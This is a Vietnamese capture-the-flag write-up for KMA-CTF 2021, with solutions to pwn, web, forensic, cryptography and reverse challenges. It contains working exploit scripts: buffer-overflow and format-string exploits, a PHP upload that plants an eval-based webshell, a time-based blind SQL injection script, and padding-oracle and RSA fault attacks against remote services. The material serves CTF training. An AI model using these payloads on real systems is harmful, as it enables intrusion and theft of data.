WRITE-UP KMA-CTF-2021 LAN 2

Challenge type  
WEB  
PWNABLE  
REVERSE  
CRYPTOGRAPHY  
FORENSIC  

PWN 🌱

Credit write-up: Thành Draw

KMA

Đối với các bài thử thách về Pwn, đầu tiên chúng ta sẽ kiểm tra các kiến trúc và cơ chế bảo vệ của nó như:

  • Architecture: Intel x86, Intel x64, ARM, …
  • RELRO: cơ chế này cho phép một số section chỉ được read (không có quyền write, execute).
  • Stack: cơ chế này kiểm tra xem stack có bị overwrite không.
  • NX: cơ chế ngăn chặn input hoặc data thực thi.
  • PIE: cơ chế giúp file load vào các vùng nhớ khác nhau, làm cho địa chỉ không cố định.

Để kiểm tra, tôi sẽ sử dụng checksec tool.

h1

Vì đây là một challenge đơn giản, các cơ chế bảo vệ đã được disable để dễ dàng trong việc exploit.

Load vào IDA để phân tích.

h2

Luồng chương trình:

  • Khởi tạo 0x20 bytes trên stack để lưu input.
  • Cho phép người dùng nhập lên đến 0x100 bytes.
  • Giải phóng 0x20 bytes trên stack và lệnh pop edx sẽ lấy giá trị để so sánh. Nếu edx bằng với chuỗi _KMA thì sẽ được vào shell.

Từ đây, tôi có thể kết luận đây là Buffer Overflow.

Để exploit ta chỉ cần nhập đủ 0x20 bytes, theo sau là chuỗi _KMA.

h3

Amazingg

Kiểm tra các cơ chế bảo vệ của file.

h4

Chú ý, ta thấy đây là một file 64 bit. Load file vào IDA để phân tích.

h5

Tại hàm gets() cho phép nhập với độ dài tùy ý, nên tôi xác định đây là Buffer Overflow.

h6

Nhìn vào các function của chương trình, tôi thấy thêm các hàm Func1(), Func2(), Func3(), Puts_flag().

Hàm Puts_flag() sẽ kiểm tra các biến check1, check2, check3 do các hàm Func1(), Func2(), Func3() gán. Do vậy, ta phải lợi dụng lỗ hổng Buffer Overflow để thực thi được tất cả các hàm này mới có thể lấy được flag.

Để làm được điều này, ta phải tính toán offset hợp lý để tạo payload.

  • Đầu tiên, trong hàm main() có lệnh sub rsp, 10hleave nên ta sẽ nhập đủ 0x10 bytes. (Vì sao thì các bạn xem ý nghĩa của lệnh leave).
  • Tiếp theo, các hàm Func1(), Func2(), Func3() đều có lệnh cmp [rbp-4], 539h. Nên ta sẽ nhập 4 bytes tùy ý và 0x539 để ghi đè vào rbp.
  • Cuối cùng, return address tôi sẽ nhập vào các hàm cần thực thi.

Đây là script exploit.

from pwn import *

p = process("./amazingg")
p.recvuntil("step....\n")
p.sendline(b"a"*16 + b"a"*4 + p32(1337) + p64(0x4006E6) + p64(0x40070E) + p64(0x400736) + p64(0x40075E))
p.interactive()

fs

Kiểm tra các cơ chế bảo vệ của file.

h7

Challenge này đã bật cơ chế Stack Canary, nên sẽ không có lỗ hổng Buffer Overflow nữa.

Load file vào IDA để phân tích.

h8

Trong hàm vuln(), tôi thấy có lệnh printf(s); nên tôi xác định đây là lổ hổng Format String.

Để khai thác lỗi này, ta phải tìm được offset, từ esp đến vùng nhớ flag được lưu trữ ở stack.

h9

Bật debug, tôi tìm được offset bắt đầu của flag sẽ là 57. Để lấy được giá trị tại offset này, tôi dùng format $p.

Viết Script khai thác.

from pwn import *

offset = 57
flag = ""

while True:
	p = process("./fs")

	p.recvuntil("\n")

	payload = "%" + str(offset) + "$p"
	p.sendline(payload)

	recv = p.recvuntil("\n").decode("utf-8")
	recv = recv[11:len(recv) - 1]
	if offset == 57:
		recv = recv[:len(recv) - 2]
	flag += bytes.fromhex(recv).decode('utf-8')[::-1]
	offset += 1

	print(flag)

WEB 🍦

Credit write-up: nhienit2010

ekyc

Đầu tiên, ta dùng git-dumper để kéo toàn bộ folder .git trên server về và lấy source. Source code:

<?php
ini_set("display_errors", 1);
// ini_set("display_startup_errors", 1);
error_reporting(E_ALL);

$DB_HOST = '192.168.0.3';
$DB_PORT = 27017;
$DB_NAME = 'apikey_db';

function get_client_ip()
{
  $ipaddress = '';
  if (isset($_SERVER['HTTP_CLIENT_IP']))
    $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
  else if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
    $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
  else if (isset($_SERVER['HTTP_X_FORWARDED']))
    $ipaddress = $_SERVER['HTTP_X_FORWARDED'];
  else if (isset($_SERVER['HTTP_FORWARDED_FOR']))
    $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
  else if (isset($_SERVER['HTTP_FORWARDED']))
    $ipaddress = $_SERVER['HTTP_FORWARDED'];
  else if (isset($_SERVER['REMOTE_ADDR']))
    $ipaddress = $_SERVER['REMOTE_ADDR'];
  else
    $ipaddress = 'UNKNOWN';
  return $ipaddress;
}
//check db
try {
  //Connect DB
  $key = "";
  $limit = "";
  $current = "";
  //Get Key - Value from DB && Check API-key form request
  $header = getallheaders();
  if (isset($header['Api-Key'])) {
    $query = [[
      'key' => 'key',
      'limit' => 10,
      'current' => 0
    ]];
    if ($query) {
      $key = $query[0]['key'];
      $limit = $query[0]['limit'];
      $current = $query[0]['current'];
      $key_send = $header['Api-Key'];
      // var_dump($key_send);
      if ($key_send == $key) {
        if ($limit >= $current) {
          $current++;
          $data_log = $_REQUEST;
          $data_send = $_POST;
          $data_log['IP'] = get_client_ip();
          $data_log['requestTime'] = new \DateTime();

          try {
            //Add to memcached
            $memcached = new Memcached();
            $memcached->addServer('127.0.0.1', 11211);
            $memcached->add("file_base64_AIconnector", $data_send['base64'], 36000);
            //Add to Redis
            $redis = new Redis();
            $redis->connect('192.168.16.164', 6798);
            $redis->auth('apikey_cloud');
            $redis->set('key_AIconnector', $key);
            $redis->set('limit_AIconnector', $limit);
            $redis->set('current_AIconnector', $current);
          } catch (\Throwable $e) {
          }

          $base64_string = $_POST["base64"];
          // echo $base64_string;
          //Check have extension in base64 string or not
          if (strpos($base64_string, ',')) {
            // Chia base64 và data IMEI
            $check_imei = explode(',', $base64_string);
            $base64 = $check_imei[1];
            $imei = $check_imei[0];
            //Lấy EMEI
            $imei = substr($imei, 5, -7);  // bcd
            var_dump($imei);
            var_dump($base64);
            $extension_file = explode('/', $imei);
            //Write to new file
            $output_file = __DIR__ . "/upload/img_" . time() . "." . $extension_file[1];
            var_dump($output_file);

            $file = fopen($output_file, "wb");
            fwrite($file, base64_decode($base64));
            fclose($file);
            $finfo = finfo_open(FILEINFO_MIME_TYPE);
            $finfo = finfo_file($finfo, $output_file);
            $cFile = curl_file_create($output_file, $finfo, basename($output_file));

            $data_send_final = array("image" => $cFile, "filename" => $output_file, "mime" => $finfo, "postname" => basename($output_file));
            //After write log, send data to 3rd party
            var_dump($data_send_final);
            $curl = curl_init();
            $data_string = json_encode($data_send_final);
            curl_setopt_array($curl, array(
              CURLOPT_URL => "https://api.fpt.ai/vision/idr/vnm",
              CURLOPT_CUSTOMREQUEST => "POST",
              CURLOPT_POSTFIELDS => $data_send_final,
              CURLOPT_HTTPHEADER => array(
                "api-key: " . $key
              ),
              CURLOPT_RETURNTRANSFER => true,
            ));
            $response = curl_exec($curl);
            $err = curl_error($curl);
            curl_close($curl);
            if ($err) {
              echo "cURL Error #:" . $err;
            } else {
              header('Content-Type: application/json');
              echo $response;
            }
          } else {
            //Write to new file
            $output_file = __DIR__ . "/upload/img_" . time() . ".jpg";
            $file = fopen($output_file, "wb");
            fwrite($file, base64_decode($base64_string));
            fclose($file);

            $finfo = finfo_open(FILEINFO_MIME_TYPE);
            $finfo = finfo_file($finfo, $output_file);
            $cFile = curl_file_create($output_file, $finfo, basename($output_file));

            $data_send_final = array("image" => $cFile, "filename" => $output_file, "mime" => $finfo, "postname" => basename($output_file));
            //After write log, send data to 3rd party
            $curl = curl_init();
            $data_string = json_encode($data_send_final);

            curl_setopt_array($curl, array(
              CURLOPT_URL => "https://api.fpt.ai/vision/idr/vnm",
              CURLOPT_CUSTOMREQUEST => "POST",
              CURLOPT_POSTFIELDS => $data_send_final,
              CURLOPT_HTTPHEADER => array(
                "api-key: " . $key
              ),
              CURLOPT_RETURNTRANSFER => true,
            ));
            $response = curl_exec($curl);
            $err = curl_error($curl);
            curl_close($curl);
            if ($err) {
              echo "cURL Error #:" . $err;
            } else {
              header('Content-Type: application/json');
              echo $response;
            }
          }
        } else {
          $return = array("errorCode" =>  "11", "errorMessage" => "Reach Request Limit", "data" => $_REQUEST);
          header('Content-Type: application/json');
          echo json_encode($return);
        }
      }
    } else {
      $return = array("errorCode" =>  "1", "errorMessage" => "The key isn't correct", "data" => $_REQUEST);
      header('Content-Type: application/json');
      echo json_encode($return);
    }
  } else {
    $return = array("errorCode" =>  "403", "errorMessage" => "Permission Denied!");
    header('Content-Type: application/json');
    echo json_encode($return);
  }
  exit(0);
} catch (Exception $ex) {
  http_response_code(505);
  die();
}

Nhìn có vẻ khá phức tạp nhưng ta chỉ chú ý đến đoạn này

$base64_string = $_POST["base64"];
          // echo $base64_string;
          //Check have extension in base64 string or not
          if (strpos($base64_string, ',')) {
            // Chia base64 và data IMEI
            $check_imei = explode(',', $base64_string);
            $base64 = $check_imei[1];
            $imei = $check_imei[0];
            //Lấy EMEI
            $imei = substr($imei, 5, -7);  // bcd
            $extension_file = explode('/', $imei);
            //Write to new file
            $output_file = __DIR__ . "/upload/img_" . time() . "." . $extension_file[1];
            $file = fopen($output_file, "wb");
            fwrite($file, base64_decode($base64));
            fclose($file)

Ở đây ta thấy có thể control được extension và nội dung của file upload nên ý tưởng là dùng chức năng này để tạo một php webshell. Và $_POST["base64"] là một string được chia làm 2 phần tách bởi dấu ,, phần bên phải là chuỗi base64 sau khi decode ra thì sẽ là nội dung của file, và phần bên trái được check để lấy extension. $extension_file sẽ được lấy từ substr($imei, 5, -7) (với $imei phần bên trái của chuỗi $_POST["base64"] tách bởi dấu ,), nghĩa là chuỗi sẽ được cắt từ vị trí 5 ký tự đầu và vị trí 7 ký tự từ ký tự cuối cùng trở ngược về đầu. Ví dụ: substr("ahihi/php1234567", 5, -7) = /php. Khi thành công thì tên file sẽ được lưu và có dạng /upload/img_23132123121.php với số 23132123121 được hàm time() tạo ra. Và số do hàm time gen ra ta có thể brute-force để tìm ra tên file. Để làm được những điều đó, một điều kiện quan trọng nữa là phải tồn tại header Api-Key và giá trị của nó phải là key, dựa vào source code như sau:

if ($query) {
      $key = $query[0]['key'];
      $limit = $query[0]['limit'];
      $current = $query[0]['current'];
      $key_send = $header['Api-Key'];
      // var_dump($key_send);
      if ($key_send == $key) {

Nhưng khi thử thì fail có vẻ như server chặn truy cập vào các file có dạng img_xxxxxxx.php chỉ toàn trỏ về img_.php, vì thế ta chỉ cần thêm gì đó trước .php là được ví dụ như: img_1233112323.aa.php

My solution:

import requests
import time

url = 'http://ekyc.ctf.actvn.edu.vn'
r = requests.Session()
headers = {'Api-Key': 'key', 'X-Forwarded-For':'127.0.0.1'}

def exploit():
    s = int(time.time())
    resp = r.post(url, headers=headers, data={'base64':'asdas/aa.phpsasdphp,PD9waHAgCmV2YWwoJF9HRVRbJ2NtZCddKTsKPz4='})

    for i in range(s, s+10):
        u = url + '/upload/img_' + str(i) + '.aa.php'
        resp = r.get(u, headers=headers)
        if resp.status_code != 404:
            print(u)

if __name__ == "__main__":
    exploit()

Flag: KMACTF{Ekyc_Ekyc_Everywhere}

SQL injection

Có một khung search text cho ta nhập vào một thứ gì đó và sau đó trả về dữ liệu từ database, khi search thì dữ liệu POST lên có dạng

{
 "s":"anything",
 "f":[
     "id",
     "text",
     "title", 
     "description"]
}

Nhưng có vẻ trường f kia chứa column sẽ được đưa vào câu query, nghĩa là ta có thể control được tên cột. Mình đã thử thay description thành sleep(3) thì response trả về sau 3s, nên đây là chổ mà ta có thể inject. Query để lấy tên bảng:

{
 "s":"anything",
 "f":[
     "id",
     "text",
     "title", 
     "(select case when (select table_name from information_schema.tables limit 1 offset 1) like '_fl%' then sleep(1) else 1 end)-- -"]
}  

Sau một lúc ta nhận có được bảng _flag_ và có một column là flag, nhưng dựa vào hint từ author là flag có chứa ký tự utf8mb4, nghĩa là flag không chứa các ký tự alphabet như bình thường, ý tưởng là encode nó sang hex và dùng regex để lấy các ký tự hex đó ra vì hex chỉ chứa các ký tự từ [0->f]

My solution:

import requests
from string import printable
import time

url = 'http://bif.ctf.actvn.edu.vn'
r = requests.Session()
flag = ''
while True:
	for c in printable.replace('%','').replace('*',''):
		payload = f"(select case when (select hex(flag) from _flag_ limit 1 offset 0) RLIKE \"^{flag + c}.*\" then sleep(1) else 1 end)-- -"
		data = {"s":"anything","f":["1","2","3", payload]}
		s = time.time()
		resp = r.post(url, json=data, headers={'Content-type': 'application/json'})
		e = time.time()

		if (e - s >= 2):
			flag += c
			print(flag)
			break

Flag: KMACTF{🐱🐈🐈‍⬛🐈🐈🐈🐱}


FORENSIC 🌏

Talk-72

Credit write-up: DangKhai

Challenge link: link

Description: I hear them whispering something!

Gợi ý:

Sử dụng công cụ SSTV Decoder với chức năng robot 72 thực hiện giải mã đoạn wav.

Flag: KMA{4r3a_51_closer_UFO}

Old trick ;)

Credit write-up: DangKhai

Challenge link: link

Description: Not image.

Gợi ý:

  1. Trích xuất mã màu rgb của ảnh được cho. Ví dụ ở pixel thứ nhất tức x,y(0,0) trích xuất được giá trị RGB(33, 193, 180), sau đó chuyển đổi giá trị RGB này thành mã hex tương ứng ví dụ 21C1B4 . Làm tương tự với tất cả pixel của ảnh.
  2. Sau khi chuyển đổi thành mã hex, xác định signature của tệp chứa cờ.
  3. Thực hiên Re-Compress lại thành tệp và nhận cờ chứa bên trong.

Flag: KMA{0ld_tr!ck_but_y0u_c4n_us3_!t}

Misc - KCSC - HPPD

Credit write-up: DangKhai

Gợi ý:

Ải 1:

                     ------------oOo------------
Gửi  các  anh  chị  cựu  thành  viên,  các  bạn  trong  CLB,  các  nhẫn  giả.
Nhân  dịp  câu  lạc  bộ  KCSC  tròn  2  tuổi,  một  cột  mốc  quan  trọng  đánh  dấu  sự  hình  thành  và  phát  triển  của  câu  lạc  bộ,  chúng  mình  tổ  chức  một  buổi  lễ  kỉ  niệm  nho  nhỏ  duới  hình  thức  ONLINE.
Vì   tình  hình   dịch Cô   Vy  phức   tạp,  không có  cách  nào  hơn để   chia  sẻ   niềm  vui này   cùng  các   bạn.   Hoạt  động chính   của lễ  kỷ  niệm  này  chỉ là  đôi  lời  mà  KCSC   chúng mình   cảm  ơn, tri   ân  đến   các bạn  đọc  giả,   các   thành  viên   trong CLB   đã  luôn   gắn   bó và   đồng   hành   cùng   KCSC.   Ngoài ra,  tụi  mình   còn| chuẩn  bị  một  vài  thử  thách  CTF  nho  nhỏ  gửi  đến  các  bạn  cho  đúng  không  khí  là  một  câu  lạc  bộ  ATTT.
Để  không  bỏ  lỡ  sự  kiện  đặc  biệt  này,  chúng  mình  xin  kính  mời  các  bạn  nhanh  chóng  truy  cập  vào  fanpage  CLB  để  cập  nhật  những  thông  tin  mới  nhất  về  lễ  kỉ  niệm  này  nhé.
Sự  tham  gia  của  các  bạn  là  niềm  vinh  dự  của  chúng  mình!
Thắc  mắc  xin  liên  hệ  DinDonDon  !
                        ------------oOo------------

Khoảng cách giữa các từ trong thư ẩn mã morse. Với

  • [space] * 3 = - (hyphen)
  • [space] * 2 = . (dot)
  • [space] * 1 = (space)

Sau khi extract được đoạn mã, sử dụng morse decoder giải mã và nhận phần đầu của cờ.

KCSC(TH4NK_Y0U

Ải 2:

Link kí tự: link

Sử dụng hex decoder decode hex, xác định signature của rar file. Dùng password được đính kèn sau khi giải mã thực hiện giải nén tệp và nhận phần tiếp theo của cờ.

F0R_ALL&

Ải 3:

Osint tìm thông tin về DinDonDon.

Truy cập vào trang member kcsc tìm kiếm thông tin có liên quan đến DinDonDon, nhận được chuỗi 8wHQ6oZp3LTC6x5pCY. Giải mã base58 và nhận được phần cuối của cờ.

_G00D_H34LTH)

Cờ đầy đủ:

Flag: KCSC(TH4NK_Y0U_F0R_ALL_&_G00D_H34LTH)

Let’s take a look at the operating system architecture

Credit write-up: 5L1V3RKN16H7KM4

Challenge link: https://bit.ly/2WCKVLC

Description: We got some good files from the victim's computer. I think you know what to do with it. Find it up!

**Questions:**

1. What is the originai name of the file "renamed" Hint length is 6
2. What is the user of the computer in use? Flint length is 8
3. This section is hosted on the Internet
4. What is the name of the final file downloaded by the victim? Hint length is 4

Hint: *Renamed file has more information than you think!

Supportive Tools:

Phân tích challenge

Chúng ta nhận được 1 file chall.rar, xả nén ra ta có một folder Roaming và file renamed 1.png Theo như cấu trúc thư mục trong Roaming, mình nhận ra đây là một phần của folder AppData trên Windows. Dùng command File, ta có kết quả đây là registry file 2.png

Q1

What is the originai name of the file "renamed" Hint length is 6

Chúng ta tiến hành mở file renamed bằng Registry Explorer/RECmd 3.png Từ các key đã cho, chúng ta có thể xác nhận đây là hive HKEY_CURRENT_USER Trong Windows, hive HKEY_CURRENT_USER được đặt tại thư mục user với tên NTUSER.DAT 4.png

KMACTF{ntuser_

Q2

What is the user of the computer in use? Flint length is 8 

Từ hive HKEY_CURRENT_USER chúng ta nhận được ở trên, theo đường dẫn Control Panel\Desktop\Wallpaper, ta có đướng dẫn đến hình nền Desktop của user: 5.png

KMACTF{ntuser_kcsc0x21_

Q3

This section is hosted on the Internet 

Chúng ta kiểm tra thư mục Roaming, trong đó có thư mục Mozilla, theo google thì Firefox lưu trữ user profile ở đây, bao gồm Bookmarks, History, Cookie và lịch sử Download,… Chúng ta tiến hành mở file places.sqlite từ profile folder của Firefox 6.png bằng DB Browser for SQLite Lịch sử truy cập ở table moz_places 7.png Chúng ta có thể thấy (bài viết về vụ 2 vợ chồng mất tích ở Thanh Hoá) có một url từ github: https://raw.githubusercontent.com/dianguc38/CTF/master/part2.md 8.png

KMACTF{ntuser_kcsc0x21_w4s_h3r3_

Q4

What is the name of the final file downloaded by the victim? Hint length is 4

Từ file places.sqlite ở Q3, ta có thể truy cập lịch sử download bằng table moz_annos 9.png Chuyển thời gian sang dạng có thể đọc được 10.png

KMACTF{ntuser_kcsc0x21_w4s_h3r3_war601}

Tuy nhiên thì flag bị sai, và mình đã xin anh Khải hint, và chúng ta có:

Hint: Renamed file has more information than you think!

Sau một hồi đọc từng key trong HKEY_CURRENT_USER, mình đã tìm thấy flag ở key Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs 11.png Nhìn thời gian thì file war601 download sau cùng, tuy nhiên đề bài yêu cầu final file downloaded by the victim chứ không phải final file downloaded nên chúng ta có flag mới

KMACTF{ntuser_kcsc0x21_w4s_h3r3_0808}

CRYPTOGRAPHY 🌻

Credit write-up: Uyen

Ciphers

Caesar cipher and Affine cipher aren’t safe enough, how about Caesar-then-Affine?

chall.py

from Crypto.Util.number import getPrime
from random import randint
from flag import FLAG

assert FLAG.startswith(b"KMA{") and FLAG.endswith(b"}")
n = getPrime(32)

def caesar_affine(msg, key):
    ct = []
    for m in msg:
        c = (m + key[0]) % n
        c = (key[1]*c + key[2]) % n
        ct.append(c)
    return ct

enc = list(FLAG)
for i in range(32):
    key = (randint(1,n), randint(1,n-1), randint(1,n))
    enc = caesar_affine(enc, key)

#print(n) :)
print(enc)

# [3672812146, 1322164696, 3179556757, 325408115, 451283413, 83903322, 1626607138, 388345764, 1070414100, 1007476451, 1626607138, 1689544787, 577158711, 1689544787, 3358123901, 4040192237, 2738993214, 2676055565, 1007476451, 388345764, 1070414100, 2749239017, 3358123901, 577158711, 451283413, 3179556757, 2676055565, 577158711, 3358123901, 3053681459, 388345764, 577158711, 1070414100, 3358123901, 4040192237, 2738993214, 1689544787, 2308675474, 1563669489, 2560426070, 577158711, 2434550772, 1689544787, 4040192237, 3295186252, 2738993214, 1070414100, 388345764, 2676055565, 2056924878]

Khi mã hóa Affine một bản rõ m hai lần với khóa khác nhau lần lượt là (a1,b1) và (a2,b2) thu được c = a2*(a1*m + b1) + b2 = (a1*a2)*m + (a2*b1 + b2) (mod n).

Có thể thấy hai lần Affine sẽ thành một lần Affine khác với a' = a1*a2, b' = a2*b1 + b2; do gcd(a1,n) = gcd(a2,n) = 1 (điều kiện mã Affine gcd(a,n) = 1) nên gcd(a1*a2,n) cũng bằng 1. Caesar cũng là mã Affine với a = 1 nên challenge trở thành một lần Affine, c = A*m + B mod n, hidden n, A, B.

Biết được bản mã tương ứng của KMA{} là [3672812146, 1322164696, 3179556757, 325408115, 2056924878].

Đặt m’ và c’ là hiệu của hai cặp (m,c) bất kì, m' = m_i - m_j, c' = c_i - c_j, nên c' = A * m' (mod n).

Nếu có 2 phương trình:

A * m1' = c1' (mod n); A * m2' = c2' (mod n)
A * m1' * m2' = c1' * m2' (mod n); A * m2' * m1' = c2' * m1' (mod n); Nhân hai vế của từng phương trình.
0 = c1' * m2' - c2' * m1' (mod n); Trừ hai phương trình với nhau.

Factor(c1' * m2' - c2' * m1') sẽ tìm được n. Sau khi có n, tính A = c'*m'^-1 (mod n), B = c - A*m (mod n). Dùng n, A, B giải mã phần còn lại của flag.

>>> m = list(b'KMA{}')
>>> c = [3672812146, 1322164696, 3179556757, 325408115, 2056924878]
>>> (c[0]-c[1])*(m[2]-m[3]) - (c[2]-c[3])*(m[0]-m[1])
-130629254816
>>> # Factor(-130629254816) = -1 * 2^5 * 4082164213, n = 4082164213.
>>> n = 4082164213
>>> A = (c[0]-c[1])*pow(m[0]-m[1], -1, n) % n
>>> B = (c[0] - A*m[0]) % n
>>> c = [3672812146, 1322164696, 3179556757, 325408115, 451283413, 83903322, 1626607138, 388345764, 1070414100, 1007476451, 1626607138, 1689544787, 577158711, 1689544787, 3358123901, 4040192237, 2738993214, 2676055565, 1007476451, 388345764, 1070414100, 2749239017, 3358123901, 577158711, 451283413, 3179556757, 2676055565, 577158711, 3358123901, 3053681459, 388345764, 577158711, 1070414100, 3358123901, 4040192237, 2738993214, 1689544787, 2308675474, 1563669489, 2560426070, 577158711, 2434550772, 1689544787, 4040192237, 3295186252, 2738993214, 1070414100, 388345764, 2676055565, 2056924878]
>>> flag = bytes([(i-B)*pow(A,-1,n) % n for i in c])
>>> flag
b'KMA{mUltiple_encrypti0n_mAy_nOt_increasE_Security}'

###

It’s really a free flag, you need only ask.

chall.py

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from os import urandom
from flag import FLAG


def xor(x,y):
        return bytes([a^b for a,b in zip(x,y)])

class Challenge:
    def __init__(self, key):
        self.key = key
        self.message = b"Hi, I'm here for the flag, plz give it to me."
        self.cipher = AES.new(self.key, AES.MODE_ECB)

    def encrypt(self, plaintext):
        plaintext = bytes(16) + pad(plaintext, 16)
        ciphertext = urandom(16) # IV
        for i in range(16,len(plaintext),16):
            tmp = xor(xor(plaintext[i:i+16], plaintext[i-16:i]), ciphertext[i-16:i])
            tmp = self.cipher.encrypt(tmp)
            ciphertext += tmp
        return ciphertext
    
    def decrypt(self, ciphertext):
        plaintext = bytes(16)
        for i in range(16,len(ciphertext),16):
            tmp = self.cipher.decrypt(ciphertext[i:i+16])
            plaintext += xor(xor(tmp, plaintext[i-16:i]), ciphertext[i-16:i])
        plaintext = plaintext[16:]

        try:
            plaintext = unpad(plaintext,16)
            if plaintext == self.message:
                return FLAG
            else:
                return "Try again."
        except Exception as e:
            return e

if __name__ == "__main__":
    chall = Challenge(urandom(16))
    while True:
        try:
            ciphertext = bytes.fromhex(input())
            assert len(ciphertext) % 16 == 0 and len(ciphertext) >= 32
            print(chall.decrypt(ciphertext))
        except:
            break

Bài yêu cầu nhập ciphertext, nếu decrypt ciphertext"Hi, I'm here for the flag, plz give it to me." thì gửi flag, nếu padding sai sẽ gửi thông báo lỗi, padding đúng thì gửi Try again.

Padding oracle attack

PCBC mode decryption - Wikipedia

PCBC

Như vậy phải construct bản mã cho message b”Hi, I’m here for the flag, plz give it to me.\x03\x03\x03” khi đã thêm padding, chia thành 3 AES block mỗi block 16 byte.

Hi, I'm here for            (M1)
 the flag, plz g            (M2)
ive it to me.\x03\x03\x03   (M3)
Xét trường hợp bản mã chỉ gồm IV C (với C là một block bản mã bất kì), có thể thay đổi IV để thực hiện padding oracle attack và tìm được bản rõ của C.

Để tìm bản mã của message, bắt đầu từ một block C3 bất kì, padding oracle attack để tìm bản rõ của C3 là D(C3). Block C2 = M2 XOR M3 XOR D(C3). Tương tự, padding oracle attack để tìm bản rõ của C2 là D(C2). Block C1 = M1 XOR M2 XOR D(C2). Padding oracle attack thêm một lần nữa để tìm D(C1). IV = M1 XOR D(C1). Bản mã cần tìm là IV | C1 | C2 | C3.

from pwn import xor, remote
from Crypto.Util.Padding import pad, unpad
from os import urandom

r = remote('20.42.60.42', 9992)

msg = pad(b"Hi, I'm here for the flag, plz give it to me.",16)
ct = [urandom(16)]
for cnt in range(2,-1,-1):
    C = ct[-1]
    decrypted = []
    for c in range(1,17):
        print(c, end=' ')
        IV = list(bytes(16))
        for i in range(256):
            IV[-c] = i
            for j in range(1,c):
                IV[-j] = decrypted[-j] ^ c

            r.sendline((bytes(IV) + C).hex())
            res = r.recvuntil("\n",drop=True)
            if res == b"Try again.":
                print(i,res)
                decrypted = [i^c] + decrypted
                break
    if cnt != 0:
        ct.append(xor(xor(bytes(decrypted), msg[16*cnt:16*cnt+16]), msg[16*cnt-16:16*cnt]))
    else:
        ct.append(xor(bytes(decrypted), msg[16*cnt:16*cnt+16]))

ct = b''.join(ct[::-1])
r.sendline(ct.hex())
print(r.recvuntil("\n",drop="True"))
# KMA{P4ddIng_0r4clE_4tt4ck}

Random Fault

I’ve just found a weird signing server, but it seems broken. Can you get the flag?

chall.py

from Crypto.Util.number import getStrongPrime
from random import getrandbits
from flag import FLAG
from os import urandom


class RSA:
    def __init__(self, p, q, e=65537):
        self.N = p*q
        self.e = e
        self.p = p
        self.q = q
        self.dp = pow(e, -1, p-1)
        self.dq = pow(e, -1, q-1)
        self.inv_q = pow(q, -1, p)

    def encrypt(self, m):
        return pow(m, self.e, self.N)

    def sign(self, m):
        Sp = pow(m, self.dp, self.p) if getrandbits(1) else pow(m, self.dp, self.p) | getrandbits(32)
        Sq = pow(m, self.dq, self.q) if getrandbits(1) else pow(m, self.dq, self.q) | getrandbits(32)
        S = Sq + self.q * (((Sp - Sq)*self.inv_q) % self.p)
        return S


if __name__ == "__main__":
    p = getStrongPrime(1024, e=65537)
    q = getStrongPrime(1024, e=65537)
    rsa = RSA(p, q)
    FLAG = int.from_bytes(urandom(245 - len(FLAG)) + FLAG, "big")
    for i in range(32):
        try:
            m = int(input("m: "))
            assert 1 < m < p*q
            print(rsa.sign(m))
        except:
            exit("Invalid input.")
    print(f"Encrypted flag: {rsa.encrypt(FLAG)}")

RSA - Using the Chinese remainder algorithm

Fault attack on RSA-CRT, bài yêu cầu gửi m (1 < m < n), trả về giá trị m^d mod n (sử dụng CRT). Lỗi xảy ra khi getrandbits(1) = 0 nên Sp và Sq khi đúng khi sai.

Bảng dưới tóm tắt S trả về tương ứng với (Sp, Sq), cột thứ hai là giá trị S mod p, cột thứ ba là giá trị S mod q, và Ŝ là kí hiệu có lỗi xảy ra.

image

Giả sử gửi 32 m giống nhau, trong các kết quả trả về có 32 giá trị S, (Sp, Sq) có thể nhận biết được vì S1 cố định, xuất hiện nhiều lần.

S1 - S2 = 0 (mod p)S1 - S3 = 0 (mod q), nếu tìm được một cặp (S,S’) sao cho S khác S’, S và S’ cùng là S2 hoặc cùng là S3 thì gcd(|S1 - S|, |S1 - S'|) có thể chứa một ước của n.

from itertools import combinations
from pwn import remote
from Crypto.Util.number import *

r = remote('20.205.163.226', 9993)

s = []
for i in range(32):
    r.recvuntil("m: ")
    r.sendline("2")
    s.append(int(r.recvline().strip()))
r.recvuntil("Encrypted flag: ")
enc = int(r.recvline().strip())
r.close()

for i in s:
    if s.count(i) != 1:
        ss = i
        break

c = combinations(set(s),2)
primes = []
for i in c:
    tmp = GCD(abs(ss-i[0]), abs(ss-i[1]))
    if isPrime(tmp) and tmp.bit_length() > 1000 and tmp not in primes:
        primes.append(tmp)
        if len(primes) == 2:
            break

phi = (primes[0] - 1)*(primes[1] - 1)
d = pow(65537,-1,phi)
print(long_to_bytes(pow(enc,d,primes[0]*primes[1])))
# KMA{__fAulty_faUlty_SignaturE__}

REVERSE 🐬

Credit write-up: Thành Draw

recursion

h0

Đầu tiên tôi thấy trong phần string có một const đặc biệt.

h1

Xref theo string này, nó sẽ dẫn tới hàm sub_4014DD().

h2

Ở đây, ta thấy dword_404020 sẽ là mảng chứa các giá trị để phục vụ việc tính toán, và làm tham số cho hàm sub_401460(). Kết quả trả về của hàm sub_401460() đó chính là flag và sẽ được in ra console.

h3

Phân tích vào hàm sub_401460(), ta thấy nó sử dụng đệ quy để tính toán. Hạn chế của đê quy là nếu số truyền vào càng lớn thì tốc độ tính toán càng chậm. Nên khi tôi chạy file thì không nhận được flag. :((

Để giải quyết được bài toán này thì chúng ta sẽ khử đệ quy bằng cách tìm quy luật của nó.

Hàm này quy luật sẽ như sau:

      a[0] = 0
      a[1] = 1
      a[2] = 2
      a[3] = (75 * a[2]) + (3 * a[1]) + (17 * a[0])
      a[4] = (75 * a[3]) + (3 * a[2]) + (17 * a[1])

Từ đó ta có được script như bên dưới:

enc = [7, 9, 19, 5, 262, 182, 33, 112, 134, 12, 136, 55, 309, 33, 239, 84, 405, 55, 121, 84, 215, 33, 134, 12, 239, 33, 23, 239, 23, 379, 309, 37, 41]
flag = ""
for i_enc in range(len(enc)):
	data = [0 for i in range(enc[i_enc] + 1)]
	for i in range(0, enc[i_enc] + 1):
		if i == 0:
			data[0] = 0
		elif i == 1:
			data[1] = 1
		elif i == 2:
			data[2] = 2
		else:
			data[i] = (75 * data[i - 1]) + (3 * data[i - 2]) + (17 * data[i - 3])
	flag += chr(data[enc[i_enc]] & 0xFF)

print(flag)

Flag là: KMA{pH180n4Cc1_r3CurS10n_1s_sUck}

Encryptor

